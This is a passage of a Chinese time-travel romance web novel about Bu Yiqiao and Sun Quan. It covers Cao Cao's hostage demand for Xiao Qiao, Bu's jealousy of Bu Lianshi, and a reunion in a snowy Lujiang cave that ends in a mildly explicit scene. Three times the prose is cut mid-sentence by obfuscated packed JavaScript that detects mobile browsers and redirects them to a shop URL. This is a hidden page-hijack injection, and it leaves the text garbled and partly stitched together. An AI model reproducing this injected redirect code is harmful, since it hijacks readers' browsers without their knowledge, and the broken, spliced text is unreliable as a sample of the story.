孙权没有说话,但也没有抽回手。 她抬眼看他,试探着问:“那我们现在……该怎么办?” 孙权反手握住她的指尖,温热瞬间包裹了她的微凉。他长长吐出一口气,像是要将胸口的郁结都倾吐出来。 “等。等母亲消气,等你梳洗更衣。然后,我陪你一起去见母亲。” “你还真要带我去请罪啊?”步一乔难得怂了,“两次争辩,我在吴夫人心中的形象可是……没一点形象了。” “是请罪,也是请婚。”孙权唇角微扬道,“母亲会答应的,相信我。” “她是可能答应,但你与谢氏的婚约……不容拒绝。” 孙权倒是坦然,道:“我孙家四子,也可与两位弟弟成婚,终归是结两姓之好,成两家之美,不成问题。” “是……吗。” 步一乔突然觉得孙仲谋有点盲目自信,不自觉担心起来。 “嗯,相信交予我。” * 但,步一乔不相信自己。断定若吴夫人再次厉声斥责,百般刁难,她定会撂下一切,说走就走。 于是趁孙权被政务暂时叫走的空隙,她心一横,竟真的从孙府溜了出来。 “太难了……我也不是不讲礼貌的人啊,怎么就是学不会低头认错呢?……不对,我本来就没做错!是封建思想的问题!” 小乔抬眼看向身旁又蹦出句没头没尾话的步一乔,无奈地摇了摇头,将暖烘烘的手炉塞进她手里,顺势拉回她的思绪。 “每次来我这儿,心思倒飘到天边去了。莫非我这儿,是专给你神游太虚用的?” 步一乔抱紧手炉,展颜一笑道:“好像是啊!许是周府钟灵毓秀,聪明人的气息太过浓厚,连带着,我也能沾点都督的灵气呢。” 小乔浅笑着摆首道:“今儿又和吴夫人吵架了?” “那不叫吵架,叫……辩论。” “又惹吴夫人生气了?” “嗯……孙权说带我去道歉,而后请婚,我害怕,就逃来你这儿了。” 两人说笑着,远处忽然传来急促的脚步声,由远及近,伴随着甲胄摩擦的铿锵之声,打破了周府宁静。 一名身着轻甲的将领未经通传便疾步入室单膝跪下,气息未匀便急声禀报:“夫人!步姑娘!主公与都督请二位即刻前往正厅议事!” 小乔并未因对方慌张失礼而斥责,反而沉静问道:“何事如此惊慌?” “从广陵传来急报!曹操以天子名义,集结二十万大军于广陵一线,遣使发来檄文,声称……声称……” 他顿了一下,目光难以控制地扫过小乔雍容的面庞,艰难地吐出后半句: “声称要主公将……将乔夫人,送往许都为质,方可暂息干戈!” 步一乔倒吸一口凉气,怀中的手炉“哐当”一声滚落在地。她脑中瞬间一片空白,只剩下一个念头在轰鸣: 所谓的“救小乔”,根本不是此前的间谍事件!余慕周拜托自己,是因自己身份不便……莫非答应此事的,是周瑜?!这完全不符合周瑜的做派啊! 江东众臣之中,大致分为两派。以赤壁之战为例,一派以周瑜、鲁肃为代表的激进派,一派以张昭为代表的投降派。若非鲁肃、周瑜单独与孙权说明利害,若真听了张昭的投降,后世便没了吴国。 “所以答应此事的绝不可能是周瑜!莫非是……!” 小乔身形几不可察地晃了一下,步一乔当即收起自说自话扶住她。 “小时候父亲念诗给我听,我还只当后人臆想。竟不知,我这微末之身,也能抵得上二十万大军了……” 步一乔猛地抓住她的手臂,急声道:“不行!决不能有认命放弃的想法!!这分明是屈辱,是陷阱!曹操狼子野心,酷爱人妻,他这是要——” 她的话戛然而止。 因为在她面前,小乔缓缓转过头,那双总是温柔含笑的眼眸里,此刻泛起泪光。 步一乔的心直直沉了下去。 “若是夫君、主公、众臣皆应了……我的想法,不足轻重啊。” “周瑜不会答应的!谁都可能,就他不会!” 反应过来自己嘴瓢说错了话,步一乔恼着拍了拍自己的嘴。 “我们先去议事厅。管他谁答应的,我绝不会让你去许都。你得留在江东,留在周瑜身边,和他相守白头,儿孙满堂。” “一乔……” 小乔被她拉着向前走,望着步一乔坚定的侧影,强撑的平静终于裂开一丝缝隙,反手紧紧回握住她。 “可若你又要以身相替,我不会答应的。” 步一乔听清了小乔的话,但没说话。 * 议事厅内气氛凝重,文武官员分立两侧。步一乔跟着小乔刚踏进门,周瑜立即快步上前,一把将夫人拥入怀中。 “让夫人担心了。” “夫君……” “别怕,万事有我。” 张昭见状,沉声道:“都督,当以大局为重。曹操二十万大军压境,若以一人可换江东安宁,实为明智之举。” “荒谬!”周瑜拥着小乔,眼神瞪回去,“今日送出我夫人,明日曹操就会得寸进尺。这是在践踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818940|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我江东的尊严!” 鲁肃立即附和:“公瑾所言极是。主公,曹操此举名为要人,实为攻心,意在瓦解我军士气,断不可退让!” 建安五年冬,曹操以少胜多,大败袁绍,士气高涨。孙权坐上位置不过半年,内部矛盾尚未解决,根本无心顾及江东以外之事。加之其一直觊觎大小乔的美貌,挑此事下手,摆明了趁火打劫! 张昭寸步不让:“难道要为一人之故,让江东陷入战火?我们拿什么抵挡二十万大军?” 双方争执不下时,步一乔突然开口: “曹操要的不只是一个人。他是要江东不战自败。若连自家都督的夫人都保护不了,今后还有谁愿意效忠孙氏?将士们还会誓死奋战吗?” 她的话让喧闹的议事厅瞬间安静下来。 始终沉默的孙权抬眸看向正前方的她。 “曹操现在才多少人马?咱们江东十万!不足为惧?” 张昭嗤笑道:“一个人,换十万人,老夫不知该说步姑娘是聪明,还是愚蠢。” “我只知道这一人,可抵一百多万人的颜面!” 堂堂大都督的夫人若被送入敌营,丢的是江东六郡所有人的尊严! 张昭方才还言之凿凿,顿时哑口无言。步一乔清楚他不是被自己说服,而是另有企图。此刻,也没必要继续出言辩驳。 最终,在步一乔与周瑜等人的力争下,堂上暂定拒曹之议。 四人走出议事厅,小乔忽地握紧步一乔的双手,低声啜泣。 “一乔……我……” 步一乔从怀中取出绣帕,轻柔地为她拭泪:“别哭呀,肚子里的宝宝会担心的。” 一旁的周瑜轻笑,无意调侃道:“这张嘴近来成了不少事儿呢。” 步一乔横眼看他,“何意?” 周瑜看了眼身旁的鲁肃,笑道:“撮合子敬与阮夫人,又与吴夫人周旋两回,今日更是在堂前说服众人。步姑娘确实能耐。” “为何你夸我,我却半点开心不起来?” “因为周瑜本就不是真心夸你。” “难怪。” “是提醒。”周瑜神色微凝,“木秀于林,风必摧之。仲谋虽能护你一时,但……前车之鉴,莫要重蹈。” 步一乔低低笑了笑,“放心,我可以从这儿两次死里逃生的人,困不住我。” * 众臣鱼贯而出,孙权正欲起身离座,却见张昭去而复返,静立阶前。步一乔本随着周瑜一行人往外走,余光瞥见这一幕,便悄然后撤半步,隐在了殿门外的廊柱之后。 “主公留步。老臣尚有要事禀奏。” 待最后一名侍卫的脚步声远去,殿门轻掩,张昭方缓缓抬首。 “今日之议,虽暂定拒曹,然主公可知,顾、陆、朱、张四家,皆不愿为周都督家事而赌上全族存亡。若主公执意相护,江东氏族……恐难再同心。” 门外的步一乔闻言,唇角泛起一丝冷峭的弧度。果然,张昭终究是要走这一步的。她心下明了:论内政,张昭确是柱石之才;然对外,此等保守怯懦之辈,终究难成霸业。她想起后世史书所载,若非周瑜、鲁肃力主抗曹,力挽狂澜,只怕孙吴基业,早已倾覆。 殿内,孙权端坐主位,面上看不出喜怒。 “江东四姓与孙氏同气连枝,这份心意,权岂能不知?” “只是公瑾不仅是江东都督,更是皖城乔氏之婿。若今日迫他献出夫人,岂非寒了所有与孙氏联姻的士族之心?乔公虽已故去,其在江北旧部……” 张昭眉头微蹙,正要开口,孙权却已起身,走到他跟前。 “曹操势大,我比谁都清楚。然外敌当前,更要紧的是内部不能自乱阵脚。顾、陆、朱、张四家是江东柱石,公瑾与乔氏姻亲亦是江东根基。若二者相争,才是真正遂了曹操的心愿。” 他执起张昭的手。 “还请先生回去转告各位家主,孙权既为江东之主,就绝不会让任何一家寒心。拒曹之事,我自有计较。” 张昭看着眼前十八岁少年说出如此大气、信誓旦旦之语,不感慨主公成长,反而面色担忧更甚。 “主公此言,是决心要为了周瑜一人,而弃父兄牺牲换来的江东于不顾啊!” 孙权脸上的温和瞬间凝固。 张昭继续道:“拒曹等于开战,主公应该很清楚这一点。顾、陆、朱、张四家,粮草、兵丁、船舰,皆系于此。若主公执意要与曹操开战,而罔顾我等存亡之请……只怕未等曹军渡江,我江东内部,便要先行分崩离析了。” 他后退一步,重整衣冠,深深行礼。 “老臣此言,非为逼宫,实为存亡。望主公……三思而后行。” 说罢,张昭不再多言,转身缓步离去,留下孙权一人独立于空荡的议事厅中,方才的从容已然消失不见,唯余一片沉重的死寂。 门外的步一乔屏住呼吸,细细想了想。 不是张昭的话,毕竟张昭从来如此,不值一驳。 她真正在意的,是来此之前与余慕周的那番对话。 “他碍于身份无法救下小乔……可看方才周瑜护妻心切的模样,怕是单枪匹马杀去许都也在所不惜!” “虽然余慕周说话的方式和现在没什么两样,不过孙权和我平时也这么说……” “难不成,如果我不来此帮忙,小乔就会因为某人的决断,被送往许都?!周瑜可是一人之下万人之上,谁能把他的夫人——” 步一乔的自我分析戛然而止,瞪大了眼睛捂住口鼻,生怕泄露了脱口而出的惊呼。 答案,似乎很清晰了。 72. 艳 “等等等!!” 步一乔两根手指按着两边的太阳穴,蹲在地上整理线索。 答应此事的是孙权。 后世说碍于身份的是余慕周。 现在碍于身份即将被迫答应的是孙权。 “有没有可能是周瑜因无法拒绝主公的命令……不会不会,孙权怎么可能为了张昭,得罪了周瑜,打死都不可能!所以……” 线索清晰,但总结不出答案。 就在此时,发散的思维忽然冒出一个可怕的念头。 “根本没有什么要拯救,而是要我……替小乔去许都?!” 议事厅的门被拉开,张昭径直离去。片刻,孙权才缓步走出。仿佛心有灵犀,他目光一转,便精准地捕捉到藏在梁柱阴影下的步一乔。 两人隔着一段距离静静对视,空中寂静无声,却似有万语千言在无声交织。 “得罪张昭,和得罪周瑜,主公选哪一个?” 两人并肩坐在廊下。孙权恐步一乔受凉,特命人取了披风来,仔细为她裹紧。 “尚无定论。” “当真?”步一乔侧目看他,“怕是心中已有万全之策了吧?” 孙权默然,未予否认。 “说出来讨论讨论?” “曹操并未亲见乔夫人。只需寻一位姿容相当的美人,送往许都即可。” “这倒是个法子。可小乔倾国之色,世间何处再寻这等佳人?” “这正是我所虑之处。” “我呢?” 孙权闻言蹙着眉看向步一乔。 “不许说胡话。” “我是问你,以你看来,我的相貌算何等品级?上等?还是劣等?” “无法评判。无可比拟。” 步一乔愣了下,噗嗤笑出声。 “情人眼里出西施,这答案不作数。” “轮到我了。”孙权接过话头,“在步姑娘眼中,我的相貌又属何等?” 步一乔并未立即回答,而是故意捏着下巴,将他从上到下仔细端详了一番。 “嗯——中上之姿吧?身为严谨的历史系学生,我只知江东有‘孙郎’‘周郎’并称,可从未听闻有人赞孙权是美男子呢。” “嗯,如此说来,情人眼里也出不了西施。在我心仪之人看来,我不过是相貌平平之辈。” 步一乔歪头看着孙权没什么表情的脸,略感震惊和好笑。 “某位主公生气了呀。” “是伤心,没生气。” 步一乔笑着凑近戳了戳孙权的脸,顺势挽上他的手臂,靠上他臂膀。 “可太帅了!不愧是我一见钟情的江东第一美男!怎么样,有没有心情好点?” “……没有。” “切~” 回到最初的问题,如何寻找合适的人选。两人静坐良久,各自沉思。 步一乔提议道:“不如去氏族公子间打听看看?江东人杰地灵,或许真有能与乔夫人媲美的佳人。” 孙权略一沉吟,点了点头:“也好。” * 消息一经传出,各氏族误以为是孙权欲娶妻纳妾,竟纷纷推举自家待字闺中的小姐。不出几日,成百上千张画像如雪片般飞入孙府,书房桌案、书架顷刻间堆积如山。 步一乔随手展开几卷,只见画中女子各有风华,她不禁啧啧称奇:“哇哦……这要是拿去办个画展,门票收入一定相当可观。” 前来帮忙整理画像的阮素心从画卷中抬起头,好奇问道:“画展是何意?是将这些画作陈列出来,供人观赏么?” 步一乔正欲解释,目光却不经意间被刚展开的一幅画像吸引。画中女子眉目如画,气质出众,让她不由自主地屏住了呼吸。 “这位是……” 阮素心凑过来细看,了然道:“是迁往庐江的淮阴步氏,步练师姑娘。她在江东氏族间颇有名气,才情出众、温婉贤淑。” “淮阴步氏……步练师……?” 画像上眉眼清秀、体态端庄的女子,就是步练师。正史上孙权一见倾心,钟爱一生的女人。 “我没有替代她……那我替代了谁?我在这个时代……是谁?” 步一乔忽地收起画卷,目光不自觉地投向门外,警惕着某个身影会突然出现。 绝不能让孙权看到这幅画像。 她若无其事地将画卷混入一旁已阅过的卷堆中,假装随手整理起来。 “方才说到画展,就是将画作陈列在特定场所,供人们欣赏品评。” 阮素心似懂非懂地点点头,正要再问些什么,却被步一乔打断:“这些画卷实在太多了,不如我们先按氏族分类整理?” 她说着便起身,不着痕迹地挪到门边,将那一摞已阅过的画卷往角落推了推。就在这时,门外传来熟悉的脚步声。 孙权推门而入,目光在堆积如山的画卷上扫过。 “恰好路过,近来看看。进展如何?” “正在整理。”步一乔抢先答道,身子不自觉地挡在了那摞画卷前,“大多都是寻常闺秀,尚未见到特别合适的。” 阮素心疑惑地看了步一乔一眼,却体贴地没有作声。 孙权走近,随手拿起几卷展开查看。步一乔的心提到了嗓子眼,目光紧随他的动作。 “相比乔夫人,确实都是些寻常姿色。”他放下画卷,“看来此法未必可行。” 步一乔暗暗松了口气,正要接话,却见孙权的目光落向了角落那摞她特意藏起的画卷。 “那些是?” “那些都已经看过了!没什么特别的。”步一乔急忙道, 孙权却已迈步向前。步一乔下意识地伸手想要阻拦,指尖几乎要触到他的衣袖,又猛地收回。 “怎么了?” “莫……莫要弄混了。” “嗯。” 孙权随手抽出一卷、一卷,每一卷都展开,最后还是抽出了不该抽的一卷。 正是步练师的画像。 画卷徐徐展开,温婉娴静的女子再次呈现在眼前。步一乔屏住呼吸,紧盯着孙权的表情。 他的目光在画上停留了片刻,神色如常。 “这位倒是气质不俗。是何家姑娘?” 步一乔偏过头装作不知道,孙权只好看向一旁的阮素心。 “回主公,是……淮阴步氏。画卷中姑娘,名为步练师。” 孙权稍作停顿,了然的看向一旁神色极其不自然的步一乔。 “难怪再三阻拦我。” 步一乔耳根微热,别开脸小声嘟囔:“知道也别说出来啊……显得我是个什么嫉妒心强的女人。” 孙权将画卷缓缓卷起,递到她面前,笑道:“怎么没请乔夫人过来一起帮忙?她亲自挑选,或许更合适。” “我俩先初选,再送去给小乔瞧。” 步一乔迟疑着接过画卷,仰头望进孙权眼里。 “这画……看了没什么感想?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮素心羞得侧过身去,毫无气势地反驳道:“要成,也该步姑娘和主公成,江东上下可都等着这门亲事呢。” “怎么又绕回我了……”步一乔无奈摇头,“罢了罢了,继续看画吧。” 她佯装专注地整理画卷,余光却留意着阮素心的动静。待她转身去取另一摞画卷时,步一乔迅速将步练师的那幅画卷抽出,悄无声息地塞进一旁的柜子背后。 两人又忙碌了片刻,阮素心便起身告辞。步一乔将她送至院门,目送她的身影消失在长街尽头。 待四周再无旁人,步一乔快步返回书房,小心翼翼地从袖中取出那幅画卷。她轻轻展开,借着渐沉的暮色,细细端详画中女子温婉的眉眼。 “步练师……步夫人……” 画中人娴静如水,与她截然不同。这样一个女子,本该与孙权谱写一段流传后世的佳话。 “方才孙权……当真没生出别的想法?” 窗外忽然传来脚步声,步一乔慌忙卷起画卷。待脚步声远去,她才松了口气。起身走到书架前,将画卷混入一堆无关紧要的卷轴之中。 “庐江……吗。” 步一乔和孙权初遇的山野,正在庐江。 暮色渐浓,步一乔独坐案前,心中五味杂陈。 “突然想亲自拜访一下这位步姑娘呢。” 73. 寻 吴主权步夫人,以美丽得幸于权,宠冠后宫。夫人性不妒忌,多所推进故久见爱待。 ——《吴书·嫔妃传》 “这样一女子,若是站在孙权身边,怕是连风都会因她温柔吧?” 入夜,步一乔躲在房中盯着步练师的画卷喃喃。 “步夫人之所以得宠数十年,是因为‘性不妒忌’;而谢夫人、徐夫人失宠、抑郁而终,皆是因为‘嫉妒’……” 所以,孙权骨子里是厌恶女人为他争风吃醋的? 那她仗着他眼下纵容而耍的小性子,在他眼里,岂不正是犯了他的大忌? “他现在忍我、哄我,是因为新鲜感未过,还是因为……”步一乔不敢再想下去,“等他腻了,我的下场,会不会比史书上的徐夫人……更惨?” 后怕攫住了她,但随之而来的,是一股强烈的不甘。 “凭什么我要活在史书的阴影里,连吃醋的资格都没有?我是这么胆小的人吗!不喜欢吃醋的女人是他的问题,跟我有什么关系!不喜欢算了,反正没成亲……” 步一乔心沉下去。将画卷狠狠掷于案上,转身冲出房门,快步走向厅事。与此同时,下定决心。 她必须去见步练师。 * “深冬入山?还在庐江?且要过夜?” 孙权也是瞧着厅内只有自己和步一乔,有话直说。 “在问之前,你考虑过我会作何回答吗?” 步一乔纯然地点头,道:“肯定是拒绝。” “嗯。” “所以,我是来邀请主公与我同去。寒冬既不征战,也不农耕,你正好可以借此机会歇息几日。” “……去做什么?” “寻找真相。”步一乔站在堂下背过手去,“顺便,见一个人。” “谁?” “步练师。” 孙权眸色微凝,沉默地注视着她,等待下文。 步一乔早料到他会如此,不慌不忙地踱了一步。 “我虽不是善妒之人,却也忍不住好奇,青史之中的步练师,究竟是怎样的女子。” 究竟是何等女子,能成为孙仲谋此生至爱。何等模样的美人,让他一见便情难自抑。 “见了又如何?”孙权问。 “不如何。我只想亲眼看看,步姑娘究竟是何模样。是温婉如水,还是聪慧过人?我出现在这里……是不是一个错误。” 学识智慧方面,步一乔是自信的,甚至有时候盲目自信。可面对感情,尤其面对步练师,她第一次生出惶恐与自卑。 甚至觉得自己像插足别人爱情的第三者,尽管……这个故事中,孙权和步练师并未相遇。 静默片刻。孙权起身走到她跟前,没有像往常那样逗她,而是抬手蹭了蹭她微凉的脸颊。 “嫉妒一位素未谋面的女子?” “谁嫉妒了!我没有!” 孙权凝视着她泛红的耳尖,眼底笑意更深。他俯身凑近,让步一乔无法避开视线。 “所以,是在担心什么?” 步一乔沉下声音和眸子道:“此前以为,我替代了这个时代的谁。一开始以为是大乔,但我遇见了大乔,而后……与你之后,我以为自己替代的步练师,可今日……” 可今日偏偏看见了她的画像。 步一乔终于明白,她没有替代任何人,也替代不了任何人。 孙权敏锐地捕捉到她眼底的惶惑,指节轻轻抚过她微凉的脸颊。 步一乔闭上眼,任由他掌心的温度传来。 “终于见你为我心生嫉妒。” 步一乔泪眼朦胧地抬头,正对上他深邃的眼眸。孙权轻叹一声,指腹拭去她眼角的泪。 “你呀,不想我与别人成婚,又把你史书上见到的那些个夫人推向我,到底为何?” “……因为你是孙权。” “作何解释?” “因为你是孙权,是注定要君临天下的人。你需要开枝散叶,需要子嗣绵延。史书为鉴,哪有一位君主凭一人就能昌盛宗室的?更何况……” 步一乔抚上自己的小腹。 “我不见得还能怀有身孕,为你生一儿半女。我既不愿你与别人好,又担心历史的走向。” 这大概就是和历史人物谈恋爱的弊端吧。 孙权却忽然笑了,他伸手覆上她停留在小腹的手背。 “那正好,省得有人分走你对我的注意。” “孙权!” 步一乔羞恼地瞪他,却被他顺势揽入怀中。 “史书上可曾记载,孙权此生最悔之事,便是当年眼睁睁看着心爱之人,嫁作他人妇?后来她拼死救下别人,几次三番涉险,而我竟屡屡让她在眼前受伤……” 从步一乔第一次倒在孙权面前起,他所有的“理所当然”皆为她改观。一切随她而决,她介意三妻四妾,不娶便是。江山社稷、祖宗礼法,都比不上她在自己身边,平安喜乐。 “从你口中,我大概知晓后世史书中的我是何等性子。但那是没有遇见你的孙仲谋。眼前的我,你不是比谁都了解吗?” 步一乔沉默。是啊,眼前的孙权,她不是最了解了吗?他对自己的情意揭几分真几分假,她不是最清楚了吗。 “所以,庐江还去吗?” 怀中的步一乔安静了许久,而后道:“去,必须去。” 孙权:“……嗯。” 为何有种方才的话,都被她当了耳旁风的错觉? * 庐江的市集上,一对寻常夫妻打扮的男女正在布庄前驻足。女子听着掌柜与旁人对步氏一族那位小姐的夸赞,嘴角越抿越紧。 “……步家小姐啊,那可真是知书达理,温婉贤淑,模样更是没得挑!咱们庐江谁不称赞?” “听闻前些日子,主公招亲,步小姐的画像也送去了吴郡。想必过不了多久,就能听到喜讯了吧。” “主公雄略,步小姐贤德,真是天作之合!” 步一乔捏着布料的手指微微收紧。 一路打听来,步练师简直是个完人,她脑中已经不受控制地勾勒出一个完美无瑕的大家闺秀,与某位主公情投意合的画面,心里酸得直冒泡。 孙权在一旁看着她越来越沉的脸色,当即道谢掌柜的后拉着步一乔离开布庄。 “难得来庐江,随我去一趟老宅。”他试图转移她的注意力。 “我还没打听完。” 说罢,步一乔抽出手继续朝前走。 孙权无奈,再度拉住她。担忧步一乔目前的状态,不忍她继续折磨自己。 “若不想见,便不见。” “谁不想见了?”步一乔甩开他的手,语气硬邦邦的,“来都来了,我偏要亲眼看看这位步小姐究竟有多好!” 孙权眉头一拧,见她又要往人堆里扎,强硬攥着她的手腕不许她再去。 “快落雪了,今日到此为止。” “你累了就先回吧。” “步一乔!为何非要打听透彻,甚至与人见上一面?你是觉得我会心悦步小姐,才这般执着于此?” 忘了他的冷静自持,孙权鲜少对她显露的严厉。 步一乔惊愕地仰起脸。 “你凶我?!” “我在与你讲理。” “对!我就是嫉妒!就是觉得你看一眼画卷就会喜欢上她!现在你知道我是个什么样的人了?非逼我承认,你满意了?” 步一乔眼圈一红,拨开孙权的手,转身便往城外山林跑去。 “一乔!” 孙权正要追去,却被突然围上来的乡绅认出身份,一时脱身不得。 等他好不容易摆脱众人追至山林时,天空竟已飘起鹅毛大雪,原本清晰的山路很快被积雪覆盖,步一乔的足迹消失无踪。 “又跑那么快……山林不比孙府,我如何寻你!” * 不过想寻个僻静的地方冷静下来,免得两人吵得不可开交,却不想因雪天路滑不慎迷路。 步一乔深一脚浅一脚地在林间乱闯,寒风裹着雪粒刮在脸上,又冷又疼。四周白茫茫一片,她根本辨不清方向,心中的委屈早已被恐惧取代。 “太冲动了……这跑哪儿来了?现代的庐江我熟悉,一千八百多前的庐江,我可从没来过啊!” 好在冬天野兽冬眠,少了一项突发危险。可这雪将下山的路掩埋得严严实实,寻不回山下,只怕会冻死山中吧! 眼见雪越下越大,步一乔快急死了,呼喊声在空旷的山林里显得格外微弱。 “孙权!孙权…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822805|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不该乱跑的……你在哪儿啊……” “一乔!” 恍惚似乎听见有人呼喊自己的名字。 步一乔连忙站起身,张望几圈也只见枯树与白雪。 “孙权!是你吗!我在这儿!孙仲谋!” 无人回应,仿佛刚才那一声呼唤不过是错觉。 “完蛋,我已经出现幻听了!这是临死的征兆啊!” 得赶紧找个躲避风雪的地方,暖暖身子,可万一孙权来找自己,自己又跑远,可怎么办?要不还是在原地等吧,他一定会找到自己的。 于是,步一乔决定原地蹲下,蜷缩着身子,尽量保持体温和体力等待。 雪越来越大,越来越急。步一乔的发顶和后背覆盖上一层雪,奈何困得厉害,伸不出手去掸落。 就在她冻得浑身发抖,几乎绝望时,一个熟悉的身影冲破雪幕,疾步来到她面前。 步一乔从膝盖间抬起头,望着奔来的人产生了一瞬的错觉。 不是十九岁的江东之主,而是一个七岁的少年朝这边走来。递来木棍,偏生不肯用手扶自己。 对了,这是我小时候走丢时,在奶奶坟前做的梦。似乎,后来下大雨,少年和我吵了一架,背着我去了一个山洞避雨过夜…… “山洞?孙权的故事里也有山洞,也在庐江……难道我们!当真在小时候见过?!” 孙权的外氅早已被雪水浸透,发丝凌乱,他一把将瑟瑟发抖的步一乔紧紧裹进自己怀中。 “抱歉,方才凶了你。有没有哪里受伤?” 步一乔恍惚着摇头,盯着孙权担忧的样子,迟疑着抬起冻得发紫的手,指向东南方。 “那边,是不是有个山洞?有柴,有可以休息的草堆?” 孙权怔了瞬,手动替她转了方向指向东北方,道:“是这边。为进山突遭天变的猎户所用。” “所以你七岁那年,是在那里过的夜?一个人吗?” “应该……不是。” 彼此凝视着,跨越了十一年的光阴,某个至关重要的真相,在这风雪交加的山林中,悄然浮出水面。心头涌上的,是难以置信的悸动。 “所以那场梦……不是初遇,”步一乔声音微颤,“而是……重逢?” * 山洞内,干柴在篝火中作响,驱散了寒意,也映亮了彼此的脸。步一乔裹着孙权烘干的外氅,时不时看向洞外纷飞的大雪,又看向对面正默默添柴的孙权。 “关于七岁的事儿,你记得多少?”她忍不住问。 “模模糊糊,”孙权拨弄着火堆,“只记得有位少女,被我……凶哭了。” “山野初遇时,你认出我了?” “没有。”他回答得干脆,“时隔十一年,容貌大变,哪儿认得清。” “十一年?等等,建安七年的话,你不该二十?莫非当时你也……?” “嗯,我从建安五年去。那时庐江局势未稳,想着穿越至两年后看看是何光景。行至山野,马匹受惊跑远,我上树寻马,不慎落下……正落在你跟前。” 步一乔怔住,随即噗嗤一声笑了出来,连日来的阴霾在这一笑中仿佛消散了不少。 “那还真是……命中注定啊。” 身子暖和不少,步一乔看着洞口白茫茫的雪幕,瞥向走神发呆的孙权,狡黠一笑。突然起身走在他身边,抱住双腿坐下。 “冷吗?” 步一乔摇头,轻撞了下孙权的臂膀。 “欸,故地重游,想不想做点刺激的?” 见她一脸狡黠,孙权大概猜到她想做什么,摇头道:“会着凉。” “哪儿会!摩擦起热的道理不懂吗!” 步一乔将孙权推到,跨坐到他腿上,双臂架在他肩上,歪着脑袋凝视故显男德之人。他眼底的无奈与纵容让她胆子更大了些。 “某位主公整日忙于政务,都快忘了房中术的内容吧?” “你身子——” “又找借口!”步一乔气鼓鼓嘟囔着,“哪儿那么娇弱!流产而已,难不成我这辈子都不可行房事了?” 孙权眉头皱紧,“又乱讲话。” “咳,一时嘴快。”步一乔拍拍自己的嘴,继续挑逗,“所以,主公今夜,可想与我探讨一番房中术呀?” 74. 情 “所以,主公今夜,可想与我探讨一番房中术呀?” “不想。” “啊?” 孙权扶着步一乔的腰,将人从腿上托起,而后就着腰举着她站起身,走向今夜临时所用的床榻。 “在庐江奔波一日,该歇了。” “不是……”步一乔费解,“你怎么回事?禁欲了?” “嗯。” “啊?” “戒断情欲。” “啊??” 步一乔简直怀疑自己听错,又或是眼前这人突然害了什么隐疾。她慌忙伸手探他额头,又摸摸自己的。 “没发热啊……怎么说起胡话来了?” 步一乔的手还悬在半空,被孙权轻轻按了下来。 “不必试了,神志清醒。”他就着这个动作,将她往铺了干草的石台内侧带了带,“山野险地,更需谨慎。” “这荒山野岭、大雪纷飞的,连只野鬼都看不见,守给谁看?”步一乔扯住他即将抽离的衣袖。 “听见事小,失温事大。” 将披风盖好,孙权将步一乔抱在怀中,摆好一副真要睡了的样子。 “睡吧。” 步一乔贴着他胸膛,听着洞外风声,忽然轻声道:“你该不是……还在生我的气吧?因为嫉妒?” 孙权沉默片刻,手掌在她背上轻轻一拍。 “不是,雪太大了。” 答非所问。 步一乔却懂了。她悄悄弯起嘴角,往他怀里又蹭了蹭。 “那等雪停了……” “等雪停了,还要赶路。”他闭着眼接话,“不许再讲话,睡觉。” 洞外风雪呼啸,洞内暖意渐浓。 步一乔听着他平稳的心跳,忽然极轻地问:“主公这般克制……能忍到几时?” 昏暗中,她清晰听见他艰难吞咽的声音。 步一乔的嘴角无声地扬起,她不再追问,反而乖巧地往他怀里缩了缩,脸颊贴着他温热的胸膛。 “仲谋,你抱我紧一些,冷。” 孙权明显僵了一下。 “我抱着你的。” “还不够紧嘛,再近点。” “……已无空隙。” “分明有的嘛。” 孙权彻底不讲话了。 看着某人面无表情,宛如一樽不染红尘世俗的佛像,步一乔逗弄的心也逐渐冷却。 就在她以为这场“对峙”将以孙权的绝对克制,以自己的撩拨失败告终时,头顶传来一声极低的叹息。 “你……” 他只说了一个字,便停住了。 步一乔抬起头,反问:“我?” 火光跳跃着映在他的侧脸上,少年老成的眼眸里,此刻清晰地跃动着两簇幽深的火焰,比洞中的篝火更灼人。 这才是十九岁少年该有年轻气盛的样子。 温热的指腹抚上步一乔的下颔,轻轻抬起。阴影笼罩下来,攫取了她的呼吸。软舌抵触时,她不禁轻呵,抬臂环上他的脖颈。稍稍拉扯,示意他压上来。 洞外,北风卷着漫天大雪,呼啸着掠过山崖,将天地染成一片纯白。 洞内,火光将两道紧密相依的身影投在石壁上,随着火焰摇曳。裘毯不知何时滑落肩头,寒意尚未侵袭,便被更深的暖意驱散。 良久,孙权微微退开些许,呼吸未定,低声问:“还冷么?” 步一乔眼波流转,里面漾着得逞的笑意和动人的水光,她伸手环住他的脖颈,将他重新拉近,用气音在他耳边低语: “主公不是要戒断情欲么?” 孙权低笑一声,混着灼热的气息再次靠近。 “夫人主动投怀送抱,怎能置之不理?” 步一乔轻笑,“那妾身还得谢谢主公了?” 